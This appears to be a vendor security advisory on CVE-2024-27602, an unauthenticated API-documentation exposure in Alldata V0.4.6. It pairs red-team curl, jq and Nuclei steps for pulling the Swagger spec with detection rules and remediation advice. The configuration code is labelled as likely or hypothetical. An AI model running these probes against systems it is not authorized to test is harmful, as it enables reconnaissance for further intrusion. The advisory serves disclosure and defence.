CVE-2024-27602

Executive Summary

CVE-2024-27602 identifies an Incorrect Access Control vulnerability in Alldata V0.4.6. The vulnerability allows unauthenticated remote attackers to access a large number of API interface documentation endpoints, specifically the /api/system/v2/api-docs module. This leakage exposes the entire API surface, including endpoints, parameters, data structures, and authentication schemes, providing attackers with a detailed blueprint for further exploitation.

The vulnerability is classified as CWE-284: Improper Access Control, with a CVSS v3.1 base score of 7.5 (High). The attack vector is network-based, requires no privileges, and no user interaction. The primary impact is on confidentiality, as sensitive API documentation is exposed.

Key Risk: The leaked API documentation can be used to identify other vulnerabilities (e.g., injection flaws, broken authentication, excessive data exposure) and to craft targeted attacks against the Alldata platform.

Supply Chain & Package Security

Alldata is an open-source data platform. The vulnerability affects the core application, not a specific package manager (NPM, PyPI, Go, Ruby). However, organizations using Alldata as part of their data pipeline should treat this as a supply chain risk, as the exposed API documentation can reveal integration points and data flow details.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – Complete disclosure of API documentation.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

CVSS Score: 7.5 (High)

Threat Level: High. The vulnerability is trivial to exploit and provides a significant information disclosure that can enable further attacks.

Deep Dive & Mechanics

The vulnerability stems from a misconfiguration in the access control mechanism for the Swagger/OpenAPI documentation endpoint. In Alldata V0.4.6, the /api/system/v2/api-docs endpoint is exposed without any authentication or authorization checks.

How it works:

1. The Alldata application uses Springfox or a similar library to generate OpenAPI documentation.
2. The documentation endpoint is typically mapped to /v2/api-docs or /api/system/v2/api-docs.
3. In a secure configuration, this endpoint should be restricted to authenticated users (e.g., administrators) or disabled in production.
4. In the vulnerable version, the endpoint is publicly accessible, returning a JSON payload containing the entire API specification.

Impact:

• Full API Surface Exposure: Attackers can enumerate all available endpoints, HTTP methods, request parameters, and response schemas.
• Authentication Bypass Identification: The documentation may reveal authentication endpoints, token formats, and session management details.
• Data Model Disclosure: The schemas expose the structure of data objects, including sensitive fields (e.g., passwords, API keys, PII).
• Attack Surface Expansion: The documentation can be used to identify other vulnerabilities, such as injection points, IDOR, or mass assignment.

Vulnerable vs. Patched Code

Vulnerable Configuration (Alldata V0.4.6):

The application likely has a configuration similar to the following in a Spring Boot application:

// In a configuration class (e.g., SwaggerConfig.java)
@Configuration
@EnableSwagger2
public class SwaggerConfig {
    @Bean
    public Docket api() {
        return new Docket(DocumentationType.SWAGGER_2)
                .select()
                .apis(RequestHandlerSelectors.any())
                .paths(PathSelectors.any())
                .build();
    }
}

This configuration exposes all API endpoints without any security constraints.

Patched Configuration (Hypothetical):

A patched version would restrict access to the documentation endpoint, for example:

// In a security configuration class (e.g., SecurityConfig.java)
@Override
protected void configure(HttpSecurity http) throws Exception {
    http
        .authorizeRequests()
            .antMatchers("/api/system/v2/api-docs").hasRole("ADMIN")
            .anyRequest().authenticated()
        .and()
        .httpBasic();
}

Or, the documentation could be disabled entirely in production:

// In application.properties
springfox.documentation.swagger.v2.path=/api/system/v2/api-docs
springfox.documentation.enabled=false

Exploitation & Lab Setup

Red Team

Objective: Extract the full API documentation from a vulnerable Alldata instance.

Prerequisites:

• Target Alldata V0.4.6 instance (e.g., http://target:8080).
• Network access to the target.

Exploitation Steps:

1. Identify the Endpoint: Use a web browser or tool like curl to access the documentation endpoint.

   curl -v http://target:8080/api/system/v2/api-docs
   

2. Extract the JSON: The response will be a large JSON object. Save it to a file for analysis.

   curl -s http://target:8080/api/system/v2/api-docs > api-docs.json
   

3. Analyze the Documentation: Use tools like jq or a Swagger UI viewer to parse the JSON.

   # List all paths
   jq '.paths | keys' api-docs.json
   
   # Get details for a specific endpoint
   jq '.paths["/api/users"]' api-docs.json
   

4. Automated Exploitation (Nuclei): Although no template was provided, you can create a custom Nuclei template:

   id: alldata-api-docs-leak
   
   info:
     name: Alldata API Documentation Leak
     author: your-name
     severity: high
     description: Detects exposed Alldata API documentation endpoint.
   
   requests:
     - method: GET
       path:
         - "{{BaseURL}}/api/system/v2/api-docs"
       matchers-condition: and
       matchers:
         - type: word
           words:
             - "swagger"
             - "openapi"
           condition: or
         - type: status
           status:
             - 200
   

Blue Team

Objective: Detect and respond to exploitation attempts.

Detection Steps:

1. Monitor Access Logs: Look for requests to /api/system/v2/api-docs from unexpected IP addresses.

   grep "/api/system/v2/api-docs" /var/log/nginx/access.log
   

2. Analyze Network Traffic: Use a packet capture tool to identify large JSON responses from the documentation endpoint.

3. Honeypot: Deploy a fake Alldata instance and monitor for requests to the documentation endpoint.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /api/system/v2/api-docs
  • HTTP responses with Content-Type: application/json and body containing "swagger": "2.0" or "openapi": "3.0.0"
  • Source IP addresses scanning for the endpoint.

• File IOCs:

  • Files named api-docs.json or similar on attacker systems.
  • Log entries containing the full API documentation JSON.

• Behavioral IOCs:

  • Unusual number of API requests following the documentation retrieval.
  • Attempts to access endpoints listed in the documentation that were previously unknown.

Detection Engineering

YARA Rule

rule Alldata_API_Docs_Leak {
    meta:
        description = "Detects Alldata API documentation leakage in HTTP responses"
        author = "Valters IT"
        date = "2024-01-01"
        hash = "d41d8cd98f00b204e9800998ecf8427e"

    strings:
        $swagger = "swagger" nocase
        $openapi = "openapi" nocase
        $alldata = "Alldata" nocase
        $api_docs = "/api/system/v2/api-docs"

    condition:
        any of ($swagger, $openapi) and $alldata and $api_docs
}

Sigma Rule

title: Alldata API Documentation Leak
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to the Alldata API documentation endpoint
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-uri-stem:
            - '/api/system/v2/api-docs'
    condition: selection
falsepositives:
    - Legitimate administrative access
level: high

Suricata Rule

alert http any any -> any any (msg:"Alldata API Documentation Leak Detected"; flow:to_server; content:"GET"; http_method; content:"/api/system/v2/api-docs"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Implement access control on the /api/system/v2/api-docs endpoint. Only allow authenticated users with administrative privileges.
2. Disable in Production: Set springfox.documentation.enabled=false in the application properties for production environments.
3. Network Segmentation: Place the Alldata instance behind a firewall or reverse proxy that blocks external access to the documentation endpoint.

Long-Term Fixes:

1. Upgrade: Monitor the Alldata project for a patched version (V0.4.7 or later) and apply the update.
2. Code Review: Review the security configuration of all API documentation endpoints.
3. Security Testing: Include API documentation exposure checks in your CI/CD pipeline.

Compensating Controls:

• Web Application Firewall (WAF): Create a rule to block requests to /api/system/v2/api-docs from untrusted sources.
• API Gateway: Use an API gateway to enforce authentication and rate limiting on all API endpoints.

Valters IT
Securing Digital Frontiers